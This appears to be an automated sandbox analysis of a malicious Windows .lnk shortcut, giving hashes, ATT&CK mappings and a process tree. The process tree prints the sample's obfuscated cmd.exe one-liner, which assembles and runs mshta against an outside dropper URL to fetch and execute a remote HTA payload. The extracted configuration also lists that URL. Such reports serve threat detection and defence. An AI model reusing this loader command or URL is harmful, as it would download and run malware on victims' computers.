990a8e78ab68f36108b01d8afb99334a08daf83adb0d90e3ca7044dfaa2c0943

Analysis

max time kernel
148s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:34

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General

Target
DOC-852TUS.lnk
Size 2KB
Sample260804-kghv4sgb76
SHA256 990a8e78ab68f36108b01d8afb99334a08daf83adb0d90e3ca7044dfaa2c0943
MD5 30ff82241baab6e5c5f43a2322af684f
SHA1 b7bbfcd5674df49377b067b43d3744a5ee66e6f3
SHA512 ed224a720637ee4f70200ec300d5ba52fe55ca68d563daea531d66f68fdc1071d05333c2d1ebd6246c3479ddcd26c7f64009e23815aac292d7047704eb2f9ae2
TLSH
T1A54197503AF900E8F3BBDE72DCFE2712497BB9605E70C58E0890824D1422B05E577B63
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3204	cmd.exe
1104	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3204 wrote to memory of 1104	3204	cmd.exe	90
PID 1104 wrote to memory of 1728	1104	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-852TUS.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3204
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set jyRPj=cfgbwuidyyanhqytxcfg&set Fxq=86mske&&set IQ=f2hfo&&set CB=eftaq7d&set pu=oldojjmold&set LZ=infpitybgihccoqovjinf&set RmpPr=ysv0&&set QkP=ctartnub&set kNtIF=dbgphbydtdbg&set VJ=cfgfwolmyvwcilcfg&set PJEX=netemgdymjintmbvetnet&&set kTXhI=h@tt@p@s://m@a@-@pd@ffill@er.@l@at/@h/@es@t@agio@1.@php@?r=391469@FB@5@D@82@DB&&start /b !Fxq:~2,2!!IQ:~2,1!!CB:~2,2! !kTXhI:@=!&&set ly=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1104
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:1728

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads